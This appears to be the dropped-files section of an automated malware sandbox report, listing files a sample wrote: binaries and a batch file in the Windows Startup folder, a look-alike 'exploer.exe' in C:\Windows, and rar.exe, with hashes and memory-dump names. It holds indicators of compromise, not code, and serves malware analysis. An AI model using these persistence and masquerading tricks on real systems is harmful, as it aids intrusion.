                  金HF金HFJF金.exe
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe
                  • Size 12KB
                  • SHA256 3ff64f10603f0330fa2386ff99471ca789391ace969bd0ec1c1b8ce1b4a6db42
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  金金73h金ff32.bat
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金金73h金ff32.bat
                  • Size 12KB
                  • SHA256 5f52365accb76d679b2b3946870439a62eb8936b9a0595f0fb0198138106b513
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  exploer.exe
                  • Path C:\Windows\exploer.exe
                  • Size 4.0MB
                  • SHA256 bfe9cc4b78e7bec101747dbf36a94a91cff5793628a5671dfce078ec32237615
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  rar.exe
                  • Path C:\Windows\rar.exe
                  • Size 273KB
                  • SHA256 0b0db30f2727dc44b6f6380c9cf2e333346c1b2593e4a943b7017fbe485a87fd
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  memory/896-28-0x0000000000A00000-0x0000000000A4A000-memory.dmp
                  Download

                  memory/3416-0-0x0000000000340000-0x0000000000798000-memory.dmp
                  Download

                  memory/3416-1-0x000000001B3D0000-0x000000001B3E0000-memory.dmp
                  Download

                  memory/4648-265-0x0000000010000000-0x0000000010010000-memory.dmp
                  Download

                  memory/5052-36-0x0000025DFA750000-0x0000025DFA772000-memory.dmp
                  Download

                  memory/5052-25-0x0000025DFAA20000-0x0000025DFAA30000-memory.dmp
                  Download

                  memory/5052-26-0x0000025DFAA20000-0x0000025DFAA30000-memory.dmp
                  Download

                  memory/5956-24-0x0000000000260000-0x0000000000668000-memory.dmp
                  Download